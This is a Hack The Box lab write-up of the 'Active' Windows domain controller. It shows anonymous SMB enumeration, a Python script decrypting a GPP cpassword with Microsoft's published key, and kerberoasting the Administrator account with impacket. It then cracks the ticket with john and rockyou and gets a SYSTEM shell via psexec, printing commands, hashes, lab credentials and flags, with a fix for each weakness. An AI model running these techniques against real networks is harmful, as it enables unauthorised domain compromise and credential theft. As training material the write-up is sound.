HTB - Active

Leonardo Tamiano

Contents

1 Summary

1.1 Author

The report was written by `Leonardo Tamiano` for his youtube channel `hexdump`.

https://www.youtube.com/@hexdump1337

You can find a video detailing this report at the following URL

- TODO: add link

1.2 Scope

In this report we analyze the security of `active`, an Hack The Box, root2boot machine.

- **Name**: Active
- **Difficulty**: Easy
- **Operating System**: Windows/Active Directory
- **IP**: 10.10.10.100

1.3 High-Level Overview

The machine presented various critical vulnerabilities. By abusing these vulnerabilities we were able to obtain `nt authority\system` code execution.

These vulnerabilities have to be fixed as soon as possible. Some keypoints to remember:

- Remove anonymous access in SMB authentication
- Remove encrypted GPP password from SMB share
- The administrator account should not have any SPNs associated in order to avoid kerberoasting attacks

- The administrator password should not be easily crackable with common password lists such as rockyou.txt

1.4 Tools

The tools used in order to complete the machine are shown below:

- `nmap`, to analyze UDP/TCP ports
- `smbmap`, to deal with SMB
- `smbclient`, to deal with SMB
- `crackmapexec`, to deal with SMB
- `smbget`, to enumerate SMB
- `python`, to decrypt GPP password
- `impacket`, to perform kerberoasting.

All of these tools are installed by default in typical penetration testing oriented distributions such as kali linux.

2 Foothold

Enumerating the open ports with nmap we see the typical ports open within an Active Directory setup.

nmap -sC -sV -Pn active

```
nmap -sC -sV -Pn active
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-24 09:48 EST
Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 09:50 (0:00:28 remaining)
Nmap scan report for active (10.10.10.100)
Host is up (0.050s latency).
Not shown: 982 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-24 14:48:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-12-24T14:49:43
|_  start_date: 2023-12-24T14:35:48

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.10 seconds
```

Enumerating the **SMB shares** we find an anonymous read-only open share.

Vulnerability: Any user can authenticate anonoumsly with the SMB server and enumerate the Replication share.

Fix: The server configuration must be changed in order to not allow anonymous authentication.

Severity: Critical.

PoC: Execute the following command

smbmap -H active

```
[+] IP: active:445..    Name: unknown
Disk                                                    Permissions     Comment
----                                                    -----------     -------
ADMIN$                                                  NO ACCESS       Remote Admin
C$                                                      NO ACCESS       Default share
IPC$                                                    NO ACCESS       Remote IPC
NETLOGON                                                NO ACCESS       Logon server share
Replication                                             READ ONLY
SYSVOL                                                  NO ACCESS       Logon server share
Users                                                   NO ACCESS
```

In order to enumerate the SMB share the following commands can be used

```
smbmap -H active
```

```
smbclient //MOUNT/Replication -I active -N
```

```
crackmapexec smb active -u "" -p "" --shares
```

With the `spider_plus` module we're able to crawl all the filenames in order to understand what kind of files exists in the remote share without having to download the files themselves.

```
crackmapexec smb active -u "" -p "" -M spider_plus
```

With `smbget` we're able to recursively download all the files from the remote share.

```
smbget -a -R smb://active/Replication
```

Within the share we find the following file

```
Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

Which has the following content

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Notice the `cpassword` field. This is actually an encrypted password that we are able to decrypt.

Vulnerability: The SMB share containes a Group-Policy-Preferences (GPP) file with an encrypted password. Even though this password seem to be protected, it actually isn't, because it was encrypted as part of Microsoft GPP, using an AES-256 keys that we know, because microsoft published it. This allows anyone who has read-access to the file, to decrypt the plaintext password of the user.

Fix: Remove Group-Policy-Preferences encrypted password.

Severity: High

PoC: The following python script can be used to decrypt the GPP password

```python
#!/usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

if __name__ == "__main__":
    key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
    iv = b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
    cipher = AES.new(key, AES.MODE_CBC, iv)

    ciphertext = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ=="
    ciphertext = base64.b64decode(ciphertext)

    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, AES.block_size)

    print(plaintext.decode())
```

In order to execute it we need to install the pycryptodome library

```
$ python3 -m venv venv
$ . venv/bin/activate
$ pip3 install pycryptodome
$ python3 gpp-decrypt.py
GPPstillStandingStrong2k18
```

References:

- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN
- https://adsecurity.org/?p=2288
- https://blog.netwrix.com/2022/10/06/compromising-plain-text-passwords-active-directory/

With this password we are authenticated to the domain using SMB.

```
crackmapexec smb active -u SVC_TGS -p GPPstillStandingStrong2k18 --shares
```

```
SMB active  445    DC       [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (
    signing:True) (S
SMB active  445    DC       [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB active  445    DC       [+] Enumerated shares
SMB active  445    DC       Share   Permissions     Remark
SMB active  445    DC       -----   -----------     ------
SMB active  445    DC       ADMIN$          Remote Admin
SMB active  445    DC       C$      Default share
SMB active  445    DC       IPC$    Remote IPC
SMB active  445    DC       NETLOGON        READ    Logon server share
SMB active  445    DC       Replication     READ
SMB active  445    DC       SYSVOL  READ    Logon server share
SMB active  445    DC       Users   READ
```

in particular we are able to read the user flag.

```
smbclient //MOUNT/Users -I active -U=SVC_TGS%GPPstillStandingStrong2k18
```

```
[...]

smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average
     0.2 KiloBytes/sec)
smb: \SVC_TGS\Desktop\> exit

$ cat user.txt
d043c6c87d38257e3555aa4dd79c0f62
```

3 Privilege Escalation

By using the credentials found with the `impacket-GetUserSPNs` script we're able to enumerate all the windows accounts that have an associated ServicePrincipalName (SPN).

Vulnerability: The administrator account has an associated SPN.

Fix: The administrator account should not have an associated SPN. Specific service accounts instead should be used to provide services.

Severity: High.

PoC: Execute the following command

```
impacket-GetUserSPNs -dc-ip active active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

```
ServicePrincipalName  Name
--------------------  -------------
active/CIFS:445       Administrator

MemberOf
--------------------------------------------------------
CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb

PasswordLastSet             LastLogon                   Delegation
--------------------------  --------------------------  ----------
2018-07-18 15:06:40.351723  2023-12-24 09:36:54.629350
```

As we can see, the `Administrator` has an associated SPN. This allows us to perform a kerberoasting attack on this account with the −`request` flag of the same script.

```
impacket-GetUserSPNs -dc-ip active active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

This allows us to obtain the following Ticket-Grating-Service (TGS) ticket

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$
d992ccb1549eb26f5c043e47fbba75c5$a80469e4c24692bbe6159108ef3edc9
53263a36894b3b85a0f6116854b592ca1f5d801cb333d547a349c794ee6a85d9
```

```
b0eca778758232d447ed50fe818cb933c1a99161779ccbbde2bfb333552b0215
dbd9a37db35da72c4b482f39f1f3b5f6eb4880b4cf90f698e64e0888293c35cc
560cfaf24ac708e1b5eb370d4d98172482e34e6572e6fdd072dbce330da79c0a
f26df196d21578b19de860b577066a982c8edd078d0304e9b9c59480825dc74e
8ce6e7fb7c36059c5bd7107f3f3433ec2a4dafdd1749e12374e26de0d3813dce
1abd3836100bdaf018ec0f5488e87d807d971e562e1ce015af716aaf277d66d6
85e8020eacc8187aa0387b1e3af68e794a0f9bafb6fc916e207dd8babb7fe3e1
df23d825e354f683b63e15d64ffe0258945d65459bb806b2ab520e94da259541
b3f668fe3e1a803509e5916fa5261c6857b8ce05c741a8eb23e414637d4b2926
00c9113f4b51db4e2aef5f32a4868597e4d5de3173fb68a7a8ecc9df11c7c7dc
284da5959af4028c287e495692f6c8ec8db4c3536ac553ee43e152ca977458e8
bdfd3cd96f4c2b4558c33a2b9ac5f91b8c7785d8f8833737fb92dde169898 1ab
dda1e95c2dccd0c4578ac9d5310d6a5fd6f75615fa5686fba34725a21de4399b
d14d21446a648525259703320 77a0ddeef36bbd6104e893489cfc5774a9354ab
91f1be4a9728d3c8ad9ce47ae5f28255bcbe974ce7217b11037299c55a769f84
7a10af89e0d16b1222a9068c3a2ea0b57c82483c0bada234fb75768bc6147ffd
e3c5f0820a0fa2f15c3ccfb62520ee5c2084ccb1373e3fe9c917a06969d43666
e0251dba702ae0e4704265f04febc5d3e2b09a3bcbb9f7fffc91acf68e9c0c3e
3f09bcb003f5db65dfbc70a9000bc8a7021df4a59e1fe1ad03c9be15159352cc
649e57994ee869428df4445640d9be9ca7ed04960afd4e56c30764d28526aa80
74465bce6cfa7f2baaa221913a4e441ead587ec9a0108fe7a6727e2c8252317f
4a102dc9124fb943e45b752154ea0da702583168202ea76443c63f3763a35e0e
c680726a5e2d142c97cb11e46a3a0c694a343e0a10b683e7ab82be7a207f77e9
21086e3491d46071d1e097dc62fa748cb92715b48c5cffafff51bedeab8bd66f
0f51d900bc071da5b2d60a8f91c006f623e12656f268606d630700eacefb0e88
0d3ab9c4ef8b5a5d2f346e953521bb85ab1614d60761ce4a8206245423fb46b3
47b6e1263e64af5e7215b
```

We are now ready to crack the password.

Vulnerability: The administrator account password was weak to a dictionary attack with a well known wordlist.

Fix: Make the administrator account password stronger and avoid using well known passwords found within common wordlists.

Severity: High.

PoC: Save the previous TGS within a file named `hash.txt`, and use john the ripper with the **rockyou.txt** wordlist as follows

john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

```
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:08 DONE (2023-12-24 11:00) 0.1219g/s 1285Kp/s 1285Kc/s 1285KC/s Tiffani29..
    Thrasher
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Once we the administrator credential we're able to spawn a shell on the final target using the `impacket-psexec` script.

impacket-psexec active.htb/administrator@10.10.10.100

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file DtfeFzTI.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service IOHP on 10.10.10.100.....
[*] Starting service IOHP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

Once inside we can read the root flag and finish the machine.

4 Loot

The flags obtained during the activity are shown below

- **user flag**

  > d043c6c87d38257e3555aa4dd79c0f62

- **root flag**

  > 6dc7a026f900560263844a1cd8dd5533